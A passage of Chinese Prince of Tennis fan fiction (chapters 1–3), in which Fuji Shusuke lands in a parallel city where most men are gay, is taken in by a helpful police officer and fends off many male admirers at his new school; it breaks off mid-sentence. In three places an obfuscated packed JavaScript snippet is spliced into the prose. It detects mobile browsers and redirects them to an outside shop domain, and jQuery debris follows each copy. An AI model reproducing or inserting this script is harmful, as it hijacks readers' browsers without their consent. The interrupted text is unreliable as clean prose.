《【网王】迹不二:报告!这里全是男同!》 1. 穿越异世界 港东市的春天和东京没什么不同,樱花刚谢,空气里残留着花香,阳光温柔得让人想打瞌睡。 但不二周助没有心情欣赏这些。 此刻,他站在一条完全陌生的街道上,背上背着网球包,脖子上挂着相机。他身上穿着的校服吸引了周围大量行人的注视,因为校服上印有的“青春学园”在这个世界根本没有这所学校,但不二周助没有别的衣服可换。 好在口袋里还有本来准备用来请客的三万日元,不过他也不确定这钱还能不能使用了。 几分钟前,他还在与青学的大家一起去往阿隆家寿司店的路上。为了庆祝青学获得全国大赛冠军,以及战胜那可怕的【规则】*,青学的大家一起约定去阿隆家寿司店好好享受一番。 他记得当时自己被青学的大家围在中心,记得半路上自己拿起相机与大家合照。他只是低头看了一眼相机拍得怎么样,但一抬头,身边的一切都变了。 可怕的【规则】*在前,再次遇见不合逻辑的事情,不二周助倒也没有慌乱。 他花了五秒确认自己的身体没有大碍,又花了十秒观察周围的环境。 小巷两侧是斑驳的墙壁,贴满了海报和涂鸦;远处有电车的声音,和东京的电车声音一样;空气里有便利店的关东煮味道,和东京的便利店味道也一样。 一样,但一切都不一样。 忽视掉他人的注视,不二周助走过一条街在一家便利店门口停下。玻璃窗里映出他自己的脸,栗色的头发有些乱,冰蓝色的眼睛里还有未散的困惑。他看起来就像一个迷路的学生,正常无比。 走进便利店,买了一瓶水。 好消息,口袋里的日元还可以用。坏消息,这个世界好像已经不是他原来的世界了。也就是说,他穿越到了一个新世界。 付钱的时候,不二周助仔细看了看报纸架上的新闻——《港东市市长选举最新民调》《本地企业“朝日集团”收购案通过》《知名摄影师木下举办个人展览》…… 港东市,他从来没有听说过日本有这个地方。报纸上的时间也和他原本世界对不上。 “你是学生?”收银员是一个年轻的男人,一边找零一边打量他,“制服没见过啊,哪个学校的?” “外地的。”不二简短地回答,接过零钱。 “哦……”收银员的目光在他脸上多停留了几秒,“需要帮助吗?看你好像……” “不用了,谢谢。” 不二走出便利店,找了一个公园的长椅坐下。 他需要确认几件事。 第一,他在哪里。 第二,怎么回去。 第三,如果回不去,怎么活下去。 手机卡已经没有信号用不了了,但好在公园旁咖啡厅的开放WiFi帮助不二周助连上了网。 他搜索“港东市”,发现这是一个位于海岸线上的大型城市,人口约80万。他搜索“东京”,结果都是某些小地方或公司名。他搜索“青春学园”,没有结果。他搜索“迹部财团”,没有结果。他搜索“全国中学生网球锦标大赛”,出现的都是他不认识的选手名字。 他把手机放在膝盖上,闭上眼睛。 阳光透过树叶的缝隙落在他的脸上,斑驳的光影像是某种读不懂的密码。 不二的手指收紧了,指甲掐进掌心。他深呼吸了三次,把翻涌的情绪压了回去。 可怕的【规则】、几世死亡轮回*他都战胜了,现在只不过是穿越罢了,远没有想象的糟糕,现在不是崩溃的时候…… 他睁开眼,目光变得清明。此刻他需要找到一个容身之处。 不二找到了一家不查身份证的非正规老旧网吧,脱下显眼的校服外套后用现金开了间过夜包厢。 他在网上搜索了一切他能想到的信息……这个世界的城市、历史、名人、社会制度。他发现这个世界和他原来的世界惊人地相似,又惊人地不同。相似的是语言、文化、科技水平;不同的是人名、地名、历史事件。 这是一个平行世界。不二冷静地得出了这个结论。至于怎么来的,怎么回去,他没有头绪。 他准备去前台要一份泡面对付一下,但一推开门他只感受到几双视线在暗中看着他。没有感受到恶意,但为了安全起见他不打算天亮前出这个包厢一步。 检查好包厢房门锁扣的安全,不二周助准备休息。 非正规网吧虽然让他这个未成年人进来了,但相对应的环境一般。他把校服外套重新穿上,并把拉链拉到最高遮住口鼻,这样能在一定程度上遮挡包厢外传来的烟。 把相机抱在怀里,不二周助整个人蜷缩着身体挤在电竞椅上。 此刻理智告诉他要睡觉了,但他睡不着。 不二周助透过窗户望着天空,数星星。这里的星空和他记忆中的一样。也许那些星星的光,穿过亿万光年的距离,从原来的世界照到了这里。也许青学的大家也在看同一片天空。 “裕太,”他在心里说,“哥哥没事。哥哥会回去的。” 他闭上眼睛,逼迫自己入睡。明天还有很多事要做。 清晨六点,不二从电竞椅上坐起来。他的脖子有些僵,背也疼,但他没有时间在意这些。 他要去警察局,这是他昨天就想好的计划。警察不是无所不能的,但至少警察能代表安定与希望。 沿着手机提前下载好的地图指引走了大约二十分钟。清晨的街道上人不多,只有晨跑的人、遛狗的老人、和几个看起来刚结束夜生活的年轻人。 走到一条相对僻静的小路时,不二听到了身后的脚步声。 不是路人的那种随意脚步声,而是有目的的、刻意放轻的、跟踪者的脚步声。 不二没有回头。他继续走着,装作对后面的情况一无所知。 “小弟弟……” 一个男人的声音从身后传来。不二转过身,看到两个二十多岁的男人。一个染着黄头发,穿着花哨的夏威夷衬衫。另一个留着长发,穿着皮夹克。两个人身上都有酒气,大清早的,不知道从哪里喝了酒。 黄毛的眼睛在不二脸上转了一圈,露出一个让人不舒服的笑容。“一个人啊?这么早去哪儿啊?” 不二看着他们,表情没有变化。他的嘴角依然微微弯着,眼睛眯成缝,看起来温和无害。但他的身体已经进入了戒备状态。 “警察局。”不二平静地说。 两个男人对视了一眼,笑了。“警察局?去那儿干嘛?要不要哥哥们带你去吃早饭?” 长发男走上前一步,伸手想搭不二的肩膀。“别紧张嘛,我们不是坏人……” 他的手还没碰到不二,不二就后退了一步。动作轻盈,像一只猫。 陌生的地方与陌生的人,不二并不打算一开始就动武。虽然只要他想,干翻这两个不清醒的混混轻而易举。 “不用了。”不二的声音温度降低了几度,“请让开。” 黄毛愣了一下,然后笑得更厉害了。“哟,还挺有个性的?我喜欢。” 他又往前走了一步。 不二的右手已经轻轻放下相机与网球拍准备动手了。 就在这时…… “你们在干什么?” 低沉有力的声音从路口传来。 一个中年男人快步走过来。他穿着深色的夹克,身材魁梧,面容严肃。他走到不二身边,自然而然地挡在了不二前面。 “我是警察。”男人从口袋里掏出证件,举到两个人面前,“你们两个,在这里做什么?” 黄毛和长发男的脸色瞬间变了。“没、没什么……就是问个路……” “问路需要你们两个大男人围着一个男孩子?”男人的目光锐利得像刀,“要不要跟我回警察局好好‘问路’?” “不、不用了!”两个人连连摆手,转身就跑,转眼消失在巷子尽头。 男人转过身,低头看着不二。他的表情从严肃变成了柔和。 “没事吧?” “没事。”不二说,“谢谢您。” 男人打量了一下不二的制服。“你是学生?去上学?这制服……不是本地学校的吧?” 不二沉默了一秒。“我遇到了一些情况。” 男人看着他,目光里有一种职业性的审视。但审视之后,是同情。 “跟我来吧。”男人说,“我是佐藤,佐藤弘,港东中央警察局的民警。不管遇到了什么事,先去警察局说。” 港东中央警察局就是不二周助此行的目的地,离这里不远。佐藤把不二带进了一间安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494663|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静的接待室,让他先休息一下。 “佐藤哥,这个小孩谁呀?长得真好看,需要我帮忙吗?”警察局一个年轻警察凑到佐藤弘身边问道。 “去你的,做自己事去。”佐藤弘赶走警察局里的小年轻,重新回到了不二周助所在的接待室里。 “说吧。”佐藤坐在不二周助对面,将刚刚倒的温水放在他面前,“你叫什么名字?” “不二周助。” “年龄?” “15岁。” “家住哪里?” 不二沉默了几秒。“我不知道。” 这不是完全在说谎。他确实不知道这个世界的地址,因为他在这个世界根本没有家。 佐藤看着他的眼睛。那双冰蓝色的眼睛清澈、干净,隐约流露出一丝不安与悲伤。佐藤做了二十多年警察,见过太多撒谎的人,但这个少年不像在撒谎。 “你怎么到港东市的?” “我不知道。醒来的时候,在一个小巷里。” “你的家人呢?联系方式有吗?” “……没有。” 佐藤沉默了一会儿。然后他起身走到门口,和另一个警察低声说了几句话。不二隐约听到“特殊救助”“身份不明”“未成年人”几个词。 一个年轻的女警察端来了一些点心和一杯热牛奶。“饿了吧?先吃点东西。” 不二接过牛奶,道了谢。温热的牛奶顺着喉咙流下去,胃里暖了一些。 佐藤回来后,手里拿着一张表格。“不二,你的情况比较特殊。我们有一个针对未成年人的‘特殊救助’程序。我可以帮你办一张临时身份证明,这样你至少能合法地在这里生活。” 他把表格放在不二面前。 “但你的年龄……15岁……比较麻烦。没有监护人,没有家庭住址,没有学籍。按照程序,我应该把你转到儿童福利机构。” 不二抬起头,看着佐藤。 “佐藤先生,”他说,“我不想进福利机构。” 佐藤看着他。 “我可以自己生活。”不二的声音平静而坚定,“我只需要一个合法的身份和一些时间。我会找到工作,会自己租房子,会自己照顾自己。我不需要别人养我。”如果进入了儿童福利机构,反倒是不方便他寻找回家的方法。 佐藤沉默了很久。 “你才15岁。”他说。 “我知道。”不二说,“但我可以。” 佐藤看着那双冰蓝色的眼睛。那里没有逞强的倔强,只有一种平静的、经过思考的坚定。这个少年说的每一句话都是认真的。 佐藤叹了口气。 “好吧,其实你的年龄也不小了。”他说,“我可以帮你找一间便宜的公寓,暂时担当你的监护人。但是……”他竖起一根手指,“你要答应我两件事。第一,我会定期回访你,如果遇到困难一定要联系我。第二,你得上學。我会帮你联系学校。” 他从口袋里掏出一张名片,递给不二。 “我的电话。24小时都能打。” 不二接过名片,认真地收好。“谢谢您,佐藤先生。” “还有一件事。”佐藤犹豫了一下,“不二,你的样貌……” “嗯?” “没什么。”佐藤笑了笑,“只是觉得,你长得很好看。这么好看的男孩子可要保护好自己哦” 不二愣了一下,没有明白佐藤什么意思。 佐藤站起来,拍了拍他的肩膀。“没事,走吧,我带你去看房子。” 佐藤帮不二找到的公寓空间不大,但位置很好。租金象征性的收了一点点钱。房东是佐藤的熟人,听说了不二的情况后主动减了租。 不二站在房间中央,环顾四周。 空荡荡的,什么都没有。他的全部家当就是身上的衣服、一对网球拍、一台相机、以及不多的现金。 但好在,他也算是在这个世界安身了。 之后的一段时间,不二周助利用带来的相机参加了一些摄影比赛。这些比赛为不二周助提供了足够多的资金收入。 不二周助就这样在这个异世界安稳生活下来。 穿越新世界这件事给不二周助带来了一些惊讶,但完全比不上入学后这个世界带给他的震撼! 2. 男同世界 不二周助意识到自己穿越的这个世界不对劲时,是在他入学新学校的第三天。 佐藤帮不二联系的是港东市的一所私立高级学校,名叫青叶学园。这是一所国中高中一贯制学校,位于港东市的文教区,学术水平高,校风开明自由。不二的存在,对于这些高级学校来说是一个赚取好名声的机会。校长听说了不二的情况后同意接收他入学,并减免了部分学费。 “青叶学园的网球部还可以,”佐藤对不二说,“你不是会打网球吗?可以加入学校的网球部。多交点朋友。” 周一早晨,不二穿着青叶学园的深蓝色制服,背着书包走进了校园。 青叶学园的校园比他想象的大。主路两侧种着樱花树,虽然花期即将过去,但浓密的绿叶在风中沙沙作响。主路的尽头是一栋古老的砖红色教学楼,历史气息浓厚,墙面上爬满了常春藤。校园里很安静,偶尔有学生经过,先是不经意看他一眼,然后多看几眼。 他找到了国中部三年A组的教室。他与老师电话提前联系过此时只需要去教室报道。 不二轻敲教室门时,原本嘈杂的教室突然安静了下来。 所有人的目光都集中在他身上。 站在讲台上的班主任是一个三十多岁的女老师,姓森本。她看到不二的时候也愣了一下。这个新生的长相,比她想象的还要出众。 “同学们,这是今天转来的新同学,不二周助。”森本老师说,“大家要好好相处。” 不二站在讲台上,微微鞠了一躬。 “大家好,我叫不二周助。请多关照。” 他抬起头的时候,嘴角弯着一个温和的微笑,眼睛眯成了缝。 教室里安静了三秒。 然后热闹像一颗石子投入平静湖面产生的涟漪般扩散开来。 “好好看……” “眼睛好漂亮……” “笑起来好好看……” 坐在前排的一个男生直接红了脸。此刻不二周助还没意识到,为什么台下更多是男生红了脸。 森本老师敲了敲讲台。“安静!不二同学,你的座位在靠窗倒数第三个位置。” 不二走过教室的时候,至少有十几双眼睛跟着他移动。他坐下来对着周围善意的同学们笑了笑,随后转头看了一眼窗外。窗外是一排银杏树,再远处是操场。 他在这个世界,有了一个不同于青学的座位。 下课铃响的瞬间,不二的座位被团团围住。 “不二同学,你从哪里转来的?” “不二同学,你喜欢什么?” “不二同学,你家住在哪里?” “不二同学,你有没有男朋友?” 最后一个问题让周围安静了一秒,然后响起一声小声嘀咕:“笨蛋,问得太直接了……” 不二以为最后一个问题是说话的人嘴瓢了,忽视掉最后一个问题,不二周助微笑着回答其他问题。声音温和,态度从容。他没有透露太多个人信息,只是说自己从外地来,喜欢拍照和网球。 入学第一周,不二周助都在狂补这个世界的历史与国文。忙碌的不二周助并没有意识到,他的到来吸引了多少人的目光。 直到周五…… 今天最后一节课是体育课,所有人下课后在更衣室换完衣服就可以放学了。 不二周助今天难得过了一把打网球的瘾走得晚了点,此时同学们已经走得差不多了。 突然,空荡荡的更衣室大门忽然被推开,发出吱呀一声长响。 “不二!不二!你还在吗?” 是不二的同班同学胜郎。 少年跑得气喘吁吁,脸颊红扑扑的,手里攥着一张纸。不,不是简单的纸张,而是一个淡蓝色的信封,边角还贴着一颗亮晶晶的爱心贴纸。 胜朗发现不二周助所在之后眼睛亮了亮,不二的眼皮跳了一下。 “胜郎,你这是……” “是给你的!”胜郎把信封递过来,眼神里有一种不二读不太懂的热切,“隔壁班的吉野英士同学托我转交的。他说……他说他很喜欢不二你,希望你能给他一个机会。” 更衣室里安静得能听到日光灯嗡嗡的声音。 不二周助站在自己的储物柜前,手里捏着那封淡蓝色的信,表情像是被人塞了一个不知道该怎么下口的奇怪食物。 “不二?”胜郎站在一旁歪着头看他,“你没事吧?脸色有点奇怪。” “没事。”不二弯起嘴角,下意识露出那份标志性的微笑。“只是在想事情。” “想什么?” “想……”不二顿了一下,“吉野同学……是位男生对吧?” “对啊。”胜郎眨了眨眼,表情像是在说“不然呢”。 “他……最近刚和女朋友分手?” “女朋友?”胜郎的表情变得更困惑了,眉头皱成一团,像是听到了什么外星语言,“不二你在说什么啊?吉野怎么可能有女朋友?他又不喜欢女生。” 不二的笑容凝固了0.3秒。 “他从来都不喜欢女生?” “对啊。”胜郎理所当然地点头,“吉野从国一就开始交男朋友了,上一个好像是隔壁班的……叫什么来着……啊,忘了。不过你放心,他这次应该很认真!他从来没给谁写过情书,你是第一个!” 不二张了张嘴,又闭上,又张开。 他想说“我不是在担心他认不认真”,但他发现自己不知道该怎么组织这个句子。最后他只是点了点头,说:“……是吗……” 胜郎完全没有察觉到不二内心的惊涛骇浪,还在热情地补充情报:“而且不二你刚来可能不知道,我们学校表白的方式有很多种!写信是最传统的,还有人会在柜子里塞礼物,有人会在放学路上等你,有人会拜托朋友传话。啊,对了,还有人会在校内论坛上发匿名告白帖!你要是有兴趣我可以帮你整理一个列表……” “不用了。”不二打断他,声音罕见地比平时快了半拍,“谢谢。” “不用客气!”胜郎拍了拍胸口,“我们是朋友嘛!对了,还有原田弘树、藤井弘树、伊堂修一。这几个也说要追你,不过我建议你把伊堂修一排在最后,他刚和他男朋友分手,我觉得他可能需要一点时间调整心态。” “……好……好的……”不二说。他的微笑还挂在脸上,但如果有人仔细看,会发现那个微笑的弧度有些僵硬,像是一张被胶水粘住的面具。 胜郎说了半天哪些男生想追他后,看时间不早了终于先走了。 更衣室的门关上的瞬间,不二脸上的笑容像被人按了开关一样,啪地消失了。 他转过身,面对储物柜,双手撑在柜门上,低着头。 他的大脑正在进行一场高速运转的推理。不,不是推理,是世界观的重构。 吉野英士,男,不喜欢女生。从国一就开始交男朋友。给他写了情书。 胜郎说这些话的时候,语气自然得像是在说“今天天气不错”。 不是“吉野居然喜欢男生”。而是“吉野当然喜欢男生”。 不是“他刚和女朋友分手”。而是“他刚和他男朋友分手”。 不是“你怎么会收到男生的情书”。而是“你要不要我帮你整理追求者列表”。 这些对话里,没有一丝觉得“男生喜欢男生”是一件需要特别说明的事情。 就好像……这就是默认设置。 不二慢慢抬起头,看着储物柜铁皮上自己模糊的倒影。栗色的头发,眯成缝的眼睛,微微弯着的嘴角。倒影里的他看起来和平时一模一样,温和、从容、对一切都游刃有余。 但他此刻的内心,正在经历一场七级地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494664|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震。 他想起了几天前早上进教室时,台下那么多男生红了脸。 他想起下课被围住时,有人问“你有没有男朋友”。他当时以为是嘴瓢,现在回想起来,那个人问完之后,周围没有一个人露出“你说错话了吧”的表情。反而大家都在等他的回答,并且当时围着他的更多是男生。 不二慢慢蹲了下来,双手抱住了自己的头。 “不二周助,”他在心里对自己说,“你是不是……到了一个不得了的地方?” 不二走出更衣室的时候,夕阳已经把整个校园染成了橘红色。他沿着主路往校门走,脚步比平时慢了一些,脑子里还在消化刚才的信息。 走过教学楼拐角时,一个男生从对面走来。两个人擦肩而过的瞬间,那个男生忽然停下来回头看了他一眼。 不二也停下来,礼貌地问:“有事吗?”虽然现在脑子还是一团浆糊,但良好的道德标准让他不会忽视他人。 男生的脸一下子红了。他张了张嘴,像是想说什么,但最终什么也没说出来。只是慌乱地鞠了一躬,转身跑了。 跑了几步还撞上路边的垃圾桶,发出一声巨响。 “……”不二看着那个男生捂着膝盖一瘸一拐地消失在夕阳里,沉默了三秒。 他继续往前走,脑子的浆糊更多更浓了…… 回到用摄影稿费新租的家,不二周助放下书包,躺在床上,发了五分钟的呆。 然后他拿出手机,打开搜索引擎。 他的手指在屏幕上悬停了一会儿,打出一行字: “港东市同性恋比例” 搜索结果出来了。第一个链接是港东市政府的官方统计数据,他点开看到了一张图表。 “港东市男性居民性取向调查(最新年度)” ·同性恋——81.9% ·双性恋——15.1% ·异性恋——3.0% 不二盯着那行“3.0%”看了很久。 一百个人里面,只有三个人是异性恋。 他关掉页面,又搜了一个问题:“港东市异性恋交友” 搜索结果第一条是一个交友网站,首页上写着“为异性恋者提供安全的交友平台”。网站的LOGO旁边有一个小小的说明:“异性恋者在港东市属于性少数群体,我们致力于为3%的人口提供交友支持。” 3%。这个数字像一根刺,扎在不二的认知里。 他关掉页面,把手机放在一边,继续仰面躺在床上。 天花板上的图案在昏黄的灯光下像一条蜿蜒的河流。他看着天花板,脑子里一片空白。 不是想不出东西,而是想的东西太多了,多到大脑过载,直接死机了。 他来到这个世界不到一个月,新入学才一周。 不久前,他还是一个即将国中毕业,过着普通生活的15岁男生。在东京的青春学园里打网球、拍照、上课、和队友们一起吃午饭。 他收到过许多来自女生的情书,偶尔也有男生给他写过。但那是极少数,少到可以忽略不计。 现在,他在一个陌生城市的公寓里,书包里装着一封男生写的情书,此外还得知有很多男生想给他写情书…… 不二慢慢坐起来,拿起桌上的手机打开通讯录。通讯录里只有佐藤弘的电话,那个帮他办身份证明的警察。 他看着屏幕上“佐藤弘先生”几个字,犹豫了一下,把手机放下了。 他能说什么呢?“佐藤先生,这个世界是不是绝大部分人都是同性恋?”佐藤大概会用一种“这孩子终于在说什么呢”的表情看着他,然后说:“是啊,你不知道吗?” 不二又躺了回去。 “不二周助,”他在心里对自己说,“欢迎来到新世界。” 他为什么会穿越到男同世界啊! 3. 独特恋爱观 不二周助觉得自己可能在做梦。 一个很长、很离谱、而且越来越离谱的梦。 第二天早晨,不二推开教室门的时候,发现自己的课桌上摆着好几样东西。手工饼干、装着千纸鹤的玻璃罐、爱心巧克力、天蓝色的信…… 他站在桌前,愣了两秒。 不二周助慢慢地把书包放下,把桌上的东西一件一件地挪到教室后面的的失物招领处。随着他的动作,教室里和教室外某些人的视线渐渐黯淡下去。 面对礼物,不二周助的动作很轻,很稳,脸上甚至还挂着那个标志性的温和微笑。 但他的脑子里,有一个声音在尖叫。 什么情况什么情况什么情况……现在是早上七点半,他还没有吃早饭,没有喝咖啡,甚至他现在不敢确定自己是不是还没完全从睡梦中清醒过来。 他的大脑现在应该处理的是“如何找到回家的方法”和“最近学习是否效率”这种级别的信息,而不是“为什么我的桌子上摆满了男同送的礼物”。刚刚一眼扫过去,礼物的落款全是男生的名字啊! 这个世界的恋爱观也太热情了! “不二同学!早上好!” 胜郎元气满满的声音从身后传来。他蹦蹦跳跳地走进教室,一眼就看到了不二旁那堆得满满的东西。 “哇!礼物好多啊!”胜郎的眼睛亮了起来,语气里带着一种真诚的、不含任何讽刺的惊叹,“不二同学真的好受欢迎啊!” 不二转过头看胜郎。胜郎的表情很纯粹,就是那种“我的好朋友是全校人气王我好骄傲”的表情。他的眼睛里没有嫉妒,没有酸意,只有纯粹的兴奋和与有荣焉。 不二脑中的尖叫更大声了。 “胜郎,”不二开口,声音一如既往地温和,“这些东西……大家这么热情的吗……” “嗯?”胜郎歪了歪头,“热情不是应该的吗?不然怎么才能让被追求者知道自己的喜爱。我爸爸和父亲从小就告诉我,遇见喜欢的一定要大胆示爱。心理课上老师也说了要勇敢表达呀。” “这……这样吗……”看来这个世界对于恋爱的态度崇尚热情。不然,怎么可能从小就教导小孩子大胆追爱的啊…… 见不二周助把礼物都挪走,胜郎好奇地问:“嗯?不二你不收下礼物,不看看那些信里写了什么吗?” “不了,”不二周助揉了揉自己的太阳穴,“胜郎,能拜托你一件事吗?”虽然每个人的性向他都尊重,每个人的心意都是珍贵的,但是他是将回家作为自己当前首要目标的人。 提前拒绝他人,既能减少对他人的伤害,也能减少对他时间与精力的消耗。 “什么什么?不二你说。” “能拜托你把我不想恋爱的消息传出去吗?我暂时不会考虑恋爱,大家不要再在我身上浪费时间了。”胜郎的性格很开朗,朋友很多,交友面很广。传播消息,胜郎是个很好的人选。 不二周助双手轻轻抓着胜郎的肩膀,稍微凑近胜郎认真地盯着他的眼睛,“拜托你了,胜郎。” 近距离面对如此精致的一张脸,胜郎无意识转移视线,脸也可疑地红了。“我……我……我会的……” 片刻后,胜郎缓了过来。虽然对不二周助的请求有些不解,毕竟受欢迎是一件多好的事啊。但是他还是决定帮助自己这位过于好看的朋友,不过他并不认为这样做会减少他人对不二表达喜爱的行为。 解决掉礼物与信件后,不二周助打开课本想抓紧时间学习这个世界的历史。 但他发现自己根本看不进去。 他的眼睛盯着课本上的文字,但那些文字像蚂蚁一样在页面上爬来爬去,他的注意力完全集中不起来。 他闭上眼睛,深吸了一口气。 冷静,不二周助,冷静。 这些礼物不会咬人。这些人是善意的。他们只是……喜欢你。你被喜欢过,你被告白过,你知道怎么处理。 但脑海中那个尖叫的声音又冒了出来:不一样不一样不一样不一样…… 不二周助睁开眼睛,看了看教室里的其他同学。有几个男生正在偷偷地看他,其中一个对上他的目光后低下头但又立刻抬头与他回视,耳朵红得像煮熟的虾子。另一个则勇敢地朝他笑了笑,举起手做了一个小小的“嗨”的动作。 他们看他的眼神不一样。 在原来的世界里,某些女生看他的眼神是害羞的、试探的、带着“他不知道会不会注意到我”的忐忑。大部分男生看他的眼神是欣赏的、羡慕的、偶尔带着一丝“这家伙真受欢迎啊”的酸意。 但在这里,男生看他的眼神…… 不二低下头,继续看书。 不二的手指在课本的边缘无意识地摩挲着,指腹在纸张的毛边上反复摩擦,发出细微的沙沙声。他的呼吸很平稳,嘴角的弧度也没有变化。如果有人在这个时候看他,只会觉得这个转学生在认真地预习功课,表情平和,姿态从容。 没有人知道他的脑子里正在进行一场无声的飓风。 第二节课下课的时候,不二去了趟洗手间。 他在洗手台前洗手的时候,镜子里映出身后站着的三个人。三个都是男生,他们站在洗手间门口,互相推搡着,像是在互相鼓励什么。 不二没有回头。他继续洗手,慢慢地、仔细地,一根手指一根手指地洗。 “那个……”其中一个终于开口了,声音有些紧张,“是不二同学吗?” 不二关上水龙头,从口袋里拿出纸巾擦手。然后他转过身,面对那三个人,脸上带着标准的微笑。 “我是。有什么事吗?” 问话的男生是一个圆脸的少年,鼻子上有几颗雀斑,看起来憨厚老实。他被不二的目光看得往后退了半步,脸一下子红了。 “我、我们……”圆脸男生结结巴巴地说,“我是说,我们都是三年C组的。我是田中说,这是木下,这是佐佐木。” 不二点了点头。“你们好。” 三个人的脸都红了。那个叫木下的男生个子很高,皮肤偏黑,看起来像是运动部的。他一直在盯着不二的脸看,目光直接得近乎冒犯。佐佐木则站在最后面,低着头,耳朵红得快要滴血。 “我们……”田中咽了一口口水,“我们想请不二同学吃午饭。就是……就是一起去食堂吃个饭。如果你有空的话。” “抱歉,”不二说,声音温和但不留余地,“我中午已经有安排了。” 这是假话。他原本的安排就是在隐蔽的小花园长椅上吃自己做的便当。但他说这话的时候语气自然得像在陈述一个事实,眼睛没有眨一下,微笑的弧度也没有任何变化。 田中的表情明显失落了。“这样啊……那明天呢?” “明天也有安排了。” “后天……” “田中同学,”不二打断了他,声音依然保持着温柔语气,“谢谢你们的邀请。但我中午习惯一个人待着。” 这不是一个模糊的“改天吧”或者“下次再说”。这是一个清晰的、没有歧义的拒绝。 田中张了张嘴,似乎还想说什么,但对上不二的目光后,把话咽了回去。他点了点头,拉着木下和佐佐木让开了门口的路。 “打扰了。”田中低声说。 不二从他们身边走过,步伐不紧不慢。他能感觉到三双眼睛黏在他的背上,但他没有回头。 走出洗手间的那一刻,他在心里松了一口气。 又解决了一个。 但那个松了一口气的感觉只持续了不到三秒。因为他刚转过走廊的拐角,就看到一个男生靠在墙边,手里拿着一封信,显然是在等他。 男生长得很清秀,戴着一副细框眼镜,头发梳得整整齐齐。他看到不二的时候,深吸了一口气,站直了身体。 “不二同学,”他说,声音比田中平稳得多,“我是三年B组的中村。我喜欢你,我对你一见钟情。这是我写的信,请收下。” 他把信递过来,动作干脆利落,眼神直视不二。 不二看着那封信。蓝色的信封没有其他任何装饰,只在正面写着“不二周助收”。 “中村同学,”不二说,“谢谢你。但我不能收。” 中村的表情没有变化。“为什么?” “因为我没有办法回应你的心意。” “我不需要你现在回应。”中村说,语气平静得像在讨论一道数学题,“我只是想让你知道我的心意。等你准备好了,随时可以来找我。” 不二微微眯了眯眼睛,这是他思考时的习惯动作,看起来就像微笑得更深了。 “中村同学,”他说,“你对我了解多少?” 中村愣了一下。“什么?” “你认识我多久?”不二的声音很轻,像春天的风,“你知道我喜欢什么颜色吗?你知道我周末做什么吗?你知道我为什么转学到这里吗?” 中村沉默了。 “你不知道。”不二说,“你不了解我,我也不了解你。在这种情况下,你说你喜欢我。你喜欢的是什么呢?是我的脸吗?” 这句话说出来的时候,不二的语气没有任何指责的意思。他甚至还在微笑。但中村的脸色变了。 “不是……”中村的声音终于有了一丝动摇,“我只是……” “我理解一见钟情的感觉,”不二说,“那种感觉很好,很美好。但那种感觉不是爱。爱需要时间,需要了解,需要两个人一起经历一些事情。你对我一见钟情,觉得我很特别。但那个‘我’不是真实的我,是你想象中的我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494665|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中村握着信的手微微发抖。 不二看着他,心里有一瞬间的不忍。他知道这些话很残忍。他知道这个男生只是喜欢他,只是想要一个机会,只是做了在这个世界里再正常不过的事情。 但他不能收下这封信。不能给任何模糊的回应。不能让人抱有“也许他会改变主意”的希望。 因为他不是这个世界的人,他总有一天要回去。 “中村同学,”不二的声音更加柔和了一些,像是安慰,但又不带任何暧昧,“你会遇到真正适合你的人。但那个人不是我。” 他朝中村微微鞠了一躬,然后从他身边走了过去。 这一次,他的步伐比刚才快了一些。 回到教室,他转过头看见胜郎正在和前排的男生聊天,感受到不二的目光后,笑嘻嘻地转过来。 “怎么了不二?” “胜郎……你和大家说了我不想恋爱了吗……我刚刚又……”不二的话难得有些不好说出口。 “说了啊,不过我觉得不想恋爱什么的话术,肯定不管用就是了。”胜郎有些八卦地想打听刚刚谁向不二表白了。 不二没有说,他继续请教胜郎:“为什么呢?”追求对象明确表明不想恋爱,难道不会降低告白的冲动吗? “只是不想恋爱,又不是已经有男朋友了。这只能说明他们还有机会,所以肯定会继续努力告白的啊。不是都说,不努力永远不知道结果嘛。”胜郎仔细看着自己这位新认识没多久的朋友,“而且你这么好,怎么会有人不喜欢你呢。” 对于胜郎的话,不二并没有得到满意的回答。 他在午休的时候去了无人的图书馆。他找了一个角落的位置坐下,拿出手机,打开搜索引擎,在搜索栏里打了一行字: “港东市恋爱文化” 搜索结果出来的瞬间,他的手指顿了一下。 排在第一条的是港东市政府发布的《青少年恋爱教育手册》。官方文件,免费下载。他点开,目录是这样的: 第一章:什么是喜欢?——认识自己的心意 第二章:如何表达喜欢?——告白的方式与技巧 第三章:如何追求?——让对方感受到你的心意 第四章:被拒绝怎么办?——尊重对方的选择,但不放弃追求 第五章:恋爱中的相处之道 不二的目光停在第四章的标题上。 “尊重对方的选择,但不放弃追求。” 他点进去,看到了详细的说明: 